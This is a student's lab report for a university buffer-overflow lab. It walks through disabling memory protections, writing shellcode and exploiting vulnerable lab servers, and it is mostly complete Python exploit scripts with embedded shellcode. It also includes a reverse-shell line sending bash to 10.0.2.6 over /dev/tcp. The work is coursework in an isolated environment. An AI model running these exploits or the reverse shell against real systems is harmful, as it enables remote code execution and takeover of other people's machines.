Yewon Lee

CSCI 4250
Lab 01
Buffer Overflow (Shellcoding)

The Buffer Overflow (Shellcoding) lab allowed us to overview buffer overflow attacks, shellcode development, and exploiting vulnerable servers. This report will discuss the tasks performed in the lab and the observations made during their execution.

Before we started the tasks, we set up the lab environment. We first turned off the address randomization countermeasure by running the following command:

```
sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

Then, we turned off the StackGuard and the non-executable stack protections in order to compile `stack.c` by using:

```
gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

As the compilation commands were already given in `Makefile`, we used

```
make
make install
```

to compile and install the programs. We, then, ran `docker ps` command and `docker exec` to start a shell.

Task 1. *Get Familiar with the Shellcode*
In Task 1, we first created a `tmpfile` and ran the shellcode using the following commands:

```
touch tmpfile
./shellcode.32.py
./shellcode.64.py
make
a32.out
a64.out
```

After the shellcode was executed with an appropriate modification, the shellcode enabled file deletion. Note that, here, the length of the shellcode was not modified. The modified shellcode is provided in `shellcode32.asm` and below.

```
shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
  # "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
    "/bin/rm -f tmpfile; echo Hello 32;                        *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

Task 2. *Level-1 Attack*
In Task 2, we first ran the following commands:

```
echo hello | nc 10.9.0.5 9090
^C
```

This allowed us to receive a message from a server that contained `%ebp` and `&buffer`, which were necessary to find the values required in modifying `exploit.py`. With given addresses of frame pointer and buffer inside `bof()` by the server, we were able to figure out that `ret = %ebp + n = 0xffffd438 + 8` and
`offset = %ebp - &buffer + 4 = 0xffffd438 - 0xffffd3c8+4`. Then, we created the `badfile` and sent the payload to the server using:

```
./exploitT2.py
cat badfile | nc 10.9.0.5 9090
```

The modified file is saved as `exploitT2.py` and provided below.

```
#!/usr/bin/python3
import sys

shellcode= (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
```

```
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd438 + 8               # Change this number
offset = 0xffffd438 - 0xffffd3c8 + 4  # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

Task 3. *Level-2 Attack*
In Task 3, we first ran the following commands:

```
echo hello | nc 10.9.0.6 9090
^C
```

This allowed us to receive a message from a server that contained `&buffer`, which was necessary to find the values required in modifying `exploit.py`. Note that the size of the buffer is unknown. This exploitation of the vulnerability was more challenging than level-1 attack since we are not able to calculate the exact value for offset. So, we assumed that the offset value is between 100 to 300. Using the given address of frame pointer inside `bof()`, we found that `ret = %ebp + n = 0xffffd708 + 308`. Then, we created the `badfile` and sent the payload to the server using:

```
./exploitT3.py
cat badfile | nc 10.9.0.6 9090
```

The modified file is saved as `exploitT3.py` and provided below.

```
#!/usr/bin/python3
import sys

shellcode= (
```

```
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd708 + 308     # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
for offset in range(100,304,4):
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

Task 4. *Level-3 Attack*
In Task 4, we first ran the following commands:

```
echo hello | nc 10.9.0.7 9090
^C
```

This allowed us to receive a message from a server that contained `%rbp` and `&buffer`, which were necessary to find the values required in modifying `exploit.py`. Note that the start value was set to 0. With given addresses of frame pointer and buffer inside `bof()` by the server, we were able to figure out that `ret = %rbp + n = 0x00007fffffffe540 + 0 = 0x00007fffffffe540` and `offset = %rbp - &buffer + 8 = 0x00007fffffffe610 - 0x00007fffffffe540 + 8`. Then, we created the `badfile` and sent the payload to the server using:

```
./exploitT4.py
cat badfile | nc 10.9.0.7 9090
```

The modified file is saved as `exploitT4.py` and provided below.

```
#!/usr/bin/python3
import sys

shellcode= (
    "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
    "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
    "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
    "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello 64; /bin/tail -n 2 /etc/passwd     *"
    "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
    "CCCCCCCC"   # Placeholder for argv[2] --> the command string
    "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#################################################################
# Put the shellcode somewhere in the payload
start = 0                                           # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffe540                         # Change this number
offset = 0x00007fffffffe610 - 0x00007fffffffe540 + 8  # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
#################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

Task 5. *Level-4 Attack*
In Task 5, we first ran the following commands:

```
echo hello | nc 10.9.0.8 9090
^C
```

This allowed us to receive a message from a server that contained `%rbp` and `&buffer`, which were necessary to find the values required in modifying `exploit.py`. With given addresses of frame pointer and buffer inside `bof()` by the server, we were able to figure out that `ret = %rbp + n = 0x00007fffffffe700 + 1` and `offset = %rbp - &buffer + 8 = 0x00007fffffffe700 - 0x00007fffffffe6a0 + 8`. Then, we created the `badfile` and sent the payload to the server using:

```
./exploitT5.py
cat badfile | nc 10.9.0.8 9090
```

The modified file is saved as `exploitT5.py` and provided below.

```
#!/usr/bin/python3
import sys

shellcode= (
    "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
    "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
    "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
    "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello 64; /bin/tail -n 2 /etc/passwd     *"
    "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
    "CCCCCCCC"   # Placeholder for argv[2] --> the command string
    "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)                      # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00007fffffffe700 + 1200                # Change this number
offset = 0x00007fffffffe700-0x00007fffffffe6a0+8  # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
##################################################################
```

```
# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

Task 6. *Experimenting with the Address Randomization*
In Task 6, we first enabled ASLR on our VM by using the following command:

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

Then, we connected to each server by using

```
echo hello | nc 10.9.0.5 9090 // Task 2
^C
echo hello | nc 10.9.0.7 9090 // Task 4
^C
```

Then, we used the brute-force approach to attack the servers from Task 2 and Task 4 repeatedly. We documented the time taken.

```
7 minutes and 25 seconds elapsed.
The program has been running 52417 times so far.
```

Task 7. *Experimenting with Other Countermeasures*
In Task 7, we enabled StackGuard and non-executable stack protection in the context of Task 2 by and ran

```
./stack-L1 < badfile
```

This exploit failed because the stack smashing was detected which allowed the stack to be no longer executable.

Task 8. *Reverse Shell*
In Task 8, we modified the shellcode from Task 2 to obtain a reverse shell using:

```
/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
nc -nv -l 9090
```

We received

```
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$
```

We then re-exploited Task 2 with this new shellcode by

```
./exploittE.py
cat badfile | nc 10.9.0.5 9090
```

The modified reverse shell shellcode is saved as `rev_shell.asm` and the exploit file is saved as `exploitE.py` and provided below.

```
#!/usr/bin/python3
import sys

shellcode= (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd     *"
    "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1           *"
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffd438 + 8               # Change this number
offset = 0xffffd438 - 0xffffd3c8 + 4  # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```